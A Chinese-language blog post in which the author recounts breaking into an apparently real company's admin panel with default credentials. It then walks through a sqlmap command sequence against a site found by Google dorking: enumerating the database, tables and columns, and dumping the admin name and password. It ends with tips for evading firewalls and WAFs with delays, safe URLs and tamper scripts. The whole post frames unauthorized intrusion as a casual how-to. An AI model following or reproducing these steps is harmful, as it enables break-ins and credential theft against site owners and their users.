SQL注入初體驗之SqlMap

乙個管理培訓**，後台管理系統後面加個/admin就是，這麼容易就找到了後台管理，果然容易黑。後台：

不過，後台管理ui有點醜。然後輸入使用者名稱/密碼：admin/admin，就進去了。如下：

怎麼搞de呢，首先我們使用一些掃瞄工具掃瞄可sql注入的站點（搜尋關鍵字一般都是inurl:.php?這類）。記下你要攻擊的站點，然後使用sqlmap：

sqlmap.py -u "http://[你的站點網域名稱]/about.php?id=1*" --batch //*表示由sqlmap自動掃瞄注入點 --batch表示由sqlmap預設選擇提示。

複製**

結果：

一步一步來，使用sqlmap：

sqlmap.py -u "http://[你的站點網域名稱]/about.php?id=1*" --batch --current-db //檢視當前使用的資料庫

複製**

結果：

資料庫：sailodln_main，記住了。繼續來：

sqlmap.py -u "http://[你的站點網域名稱]/about.php?id=1*" --batch -d sailodln_main --tables //檢視當前資料庫的所有表

複製**

結果：

一般管理員使用者名稱密碼可能在有admin字樣的表中吧。

sqlmap.py -u "http://[你的站點網域名稱]/about.php?id=1*" --batch -d sailodln_main -t v_admin --columns //檢視v_admin表的所有字段

複製**

結果：

把這兩個欄位的內容dump出excel：

sqlmap.py -u "http://[你的站點網域名稱]/about.php?id=1*" --batch -d sailodln_main -t v_admin -c name,pwd --dump

複製**

結果：

ok，拿到管理員賬戶和密碼，而且居然也還是明文儲存的，這程式設計師可以拿來祭天了吧，應該。接下裡，人道主義：

最後，說說關於sqlmap，我的一些總結：

複製**忽略https:

--force-ssl

複製**

使用多執行緒加快速度：

--threads=0~10
複製**

偽靜態頁面有些web伺服器進行了url rewrite或者**是偽靜態的(*.html)，無法直接提供測試引數，這樣子可以使用 * 來代替要測試的引數。

請求延時在注入過程中請求太頻繁的話可能會被防火牆攔截，這時候--delay引數就起作用了。可以設定兩次http請求間的延時。有的web程式會在多次錯誤訪問後遮蔽所有請求，這樣就導致之後所有的測試無法進行，繞過這個策略可以使用--safe-url，每隔一段時間去訪問乙個正常的頁面。

使用google搜尋 sqlmap可以測試google搜尋結果中的sql注入，很強大的功能吧。使用方法是引數-g。不過感覺實際使用中這個用的還是很少的。

post注入有兩種方法來進行post注入，一種是使用--data引數，將post的key和value用類似get方式來提交。二是使用-r引數，sqlmap讀取使用者抓到的post請求包，來進行post注入檢測。

檢視payload 使用-v 3就可以顯示注入的payload，4,5,6還可以顯示http請求，http響應頭和頁面。

tamper 如"space2morehash.py" ，呼叫指令碼對payload進行偽裝，可用於防止waf等攔截。

注：